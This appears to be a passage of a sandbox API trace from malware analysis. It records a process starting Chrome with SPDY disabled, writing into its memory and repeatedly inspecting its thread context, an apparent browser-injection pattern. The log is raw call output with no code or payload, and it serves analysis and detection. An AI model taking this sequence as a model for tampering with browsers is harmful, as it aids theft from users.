Thread: id = 56 os_tid = 0xb6c [0066.188] PathFindFileNameW (pszPath="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") returned="chrome.exe" [0066.188] StrChrW (lpStart="chrome.exe", wMatch=0x20) returned 0x0 [0066.188] StrChrW (lpStart="chrome.exe", wMatch=0x22) returned 0x0 [0066.188] lstrlenW (lpString="chrome.exe") returned 10 [0066.188] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x16) returned 0x9b6dc30 [0066.188] _wcsupr (in: _String=0x9b6dc30 | out: _String="CHROME.EXE") returned="CHROME.EXE" [0066.188] lstrlenW (lpString="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" ") returned 62 [0066.188] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x9c) returned 0x9b6dc50 [0066.188] lstrcpyW (in: lpString1=0x9b6dc50, lpString2="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" " | out: lpString1="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" ") returned="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" " [0066.189] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrTrimW") returned 0x7fefd5cb090 [0066.189] StrTrimW (in: psz="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" ", pszTrimChars="- " | out: psz="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\"") returned 1 [0066.189] lstrcatW (in: lpString1="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\"", lpString2=" --use-spdy=off" | out: lpString1="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --use-spdy=off") returned="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --use-spdy=off" [0066.189] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0066.189] CreateProcessW (in: lpApplicationName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpCommandLine="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --use-spdy=off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4080414, lpEnvironment=0x7294c90, lpCurrentDirectory="C:\\Program Files (x86)\\Google\\Chrome\\Application", lpStartupInfo=0x69ee160*(cb=0x70, lpReserved=0x0, lpDesktop=0x0, lpTitle="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x801, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x72e3e78 | out: lpCommandLine="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --use-spdy=off", lpProcessInformation=0x72e3e78*(hProcess=0x10f4, hThread=0x10bc, dwProcessId=0xb70, dwThreadId=0xb74)) returned 1 [0066.220] IsWow64Process (in: hProcess=0x10f4, Wow64Process=0x69edaa0 | out: Wow64Process=0x69edaa0) returned 1 [0066.220] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1000) returned 0x9a90820 [0066.220] NtQueryInformationProcess (in: ProcessHandle=0x10f4, ProcessInformationClass=0x0, ProcessInformation=0x69ed7c8, ProcessInformationLength=0x30, ReturnLength=0x69edaa8 | out: ProcessInformation=0x69ed7c8, ReturnLength=0x69edaa8) returned 0x0 [0066.220] NtReadVirtualMemory (in: ProcessHandle=0x10f4, BaseAddress=0x7fffffdd000, Buffer=0x69ed800, NumberOfBytesToRead=0x268, NumberOfBytesRead=0x69edaa8 | out: Buffer=0x69ed800*, NumberOfBytesRead=0x69edaa8*=0x268) returned 0x0 [0066.220] NtReadVirtualMemory (in: ProcessHandle=0x10f4, BaseAddress=0x13f510000, Buffer=0x9a90820, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x69edaa0 | out: Buffer=0x9a90820*, NumberOfBytesRead=0x69edaa0*=0x1000) returned 0x0 [0066.220] NtReadVirtualMemory (in: ProcessHandle=0x10f4, BaseAddress=0x13f510148, Buffer=0x9a90820, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x69edaa0 | out: Buffer=0x9a90820*, NumberOfBytesRead=0x69edaa0*=0x1000) returned 0x0 [0066.223] NtReadVirtualMemory (in: ProcessHandle=0x10f4, BaseAddress=0x13f5f0598, Buffer=0x69ed7a0, NumberOfBytesToRead=0x28, NumberOfBytesRead=0x69edaa0 | out: Buffer=0x69ed7a0*, NumberOfBytesRead=0x69edaa0*=0x28) returned 0x0 [0066.224] NtReadVirtualMemory (in: ProcessHandle=0x10f4, BaseAddress=0x13f5d3a00, Buffer=0x9a90820, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x69edaa0 | out: Buffer=0x9a90820*, NumberOfBytesRead=0x69edaa0*=0x1000) returned 0x0 [0066.225] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a90820 | out: hHeap=0x9770000) returned 1 [0066.225] NtReadVirtualMemory (in: ProcessHandle=0x10f4, BaseAddress=0x13f5437e0, Buffer=0x69edac0, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x69edac8 | out: Buffer=0x69edac0*, NumberOfBytesRead=0x69edac8*=0x4) returned 0x0 [0066.226] VirtualProtectEx (in: hProcess=0x10f4, lpAddress=0x13f5437e0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x69edfe8 | out: lpflOldProtect=0x69edfe8*=0x20) returned 1 [0068.721] NtWriteVirtualMemory (in: ProcessHandle=0x10f4, BaseAddress=0x13f5437e0, Buffer=0x69edff8*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x69eda70 | out: Buffer=0x69edff8*, NumberOfBytesWritten=0x69eda70*=0x4) returned 0x0 [0068.727] VirtualProtectEx (in: hProcess=0x10f4, lpAddress=0x13f5437e0, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x69edfe8 | out: lpflOldProtect=0x69edfe8*=0x40) returned 1 [0068.727] ResumeThread (hThread=0x10bc) returned 0x1 [0068.727] Sleep (dwMilliseconds=0x64) [0068.875] SuspendThread (hThread=0x10bc) returned 0x0 [0068.875] NtGetContextThread (in: ThreadHandle=0x10bc, Context=0x69edad0 | out: Context=0x69edad0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x286, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x77049ac0, Rcx=0x7fefd620f84, Rdx=0x3a6c70, Rbx=0x0, Rsp=0x2fe0b8, Rbp=0x0, Rsi=0x3a5cf0, Rdi=0x7fffffde000, R8=0xffffffff, R9=0x7fefd605000, R10=0x392e00, R11=0x2fe660, R12=0x14, R13=0x2fe1b0, R14=0x0, R15=0x20000000, Rip=0x771b159a, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0068.875] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0068.875] ResumeThread (hThread=0x10bc) returned 0x1 [0068.875] Sleep (dwMilliseconds=0x64) [0069.645] SuspendThread (hThread=0x10bc) returned 0x0 [0069.645] NtGetContextThread (in: ThreadHandle=0x10bc, Context=0x69edad0 | out: Context=0x69edad0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x2ff250, Rcx=0x7fefd670000, Rdx=0x1, Rbx=0x394830, Rsp=0x2ff1c8, Rbp=0x77265468, Rsi=0x0, Rdi=0x2ff950, R8=0x2ff950, R9=0x3912f0, R10=0x0, R11=0x0, R12=0x7fefd6725a0, R13=0x0, R14=0x12, R15=0x0, Rip=0x7fefd6725a0, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0069.646] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0069.646] ResumeThread (hThread=0x10bc) returned 0x1 [0069.646] Sleep (dwMilliseconds=0x64) [0069.911] SuspendThread (hThread=0x10bc) returned 0x0 [0069.911] NtGetContextThread (in: ThreadHandle=0x10bc, Context=0x69edad0 | out: Context=0x69edad0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x11, Rcx=0x7fef4ab0000, Rdx=0x1, Rbx=0x394060, Rsp=0x2ff1c8, Rbp=0x77265468, Rsi=0x0, Rdi=0x2ff950, R8=0x2ff950, R9=0x3912f0, R10=0x1, R11=0x1, R12=0x7fef4ae865c, R13=0x0, R14=0x12, R15=0x0, Rip=0x7fef4ae865c, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0069.912] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0069.912] ResumeThread (hThread=0x10bc) returned 0x1 [0069.912] Sleep (dwMilliseconds=0x64) [0070.090] SuspendThread (hThread=0x10bc) returned 0x0 [0070.091] NtGetContextThread (in: ThreadHandle=0x10bc, Context=0x69edad0 | out: Context=0x69edad0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x2ff250, Rcx=0x7fefd710000, Rdx=0x1, Rbx=0x1, Rsp=0x2ff140, Rbp=0x77265468, Rsi=0x7fefd710000, Rdi=0x2ff950, R8=0x2ff950, R9=0x3912f0, R10=0x0, R11=0x13f510148, R12=0x7fefd730760, R13=0x0, R14=0x12, R15=0x0, Rip=0x7fefd731f4e, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, 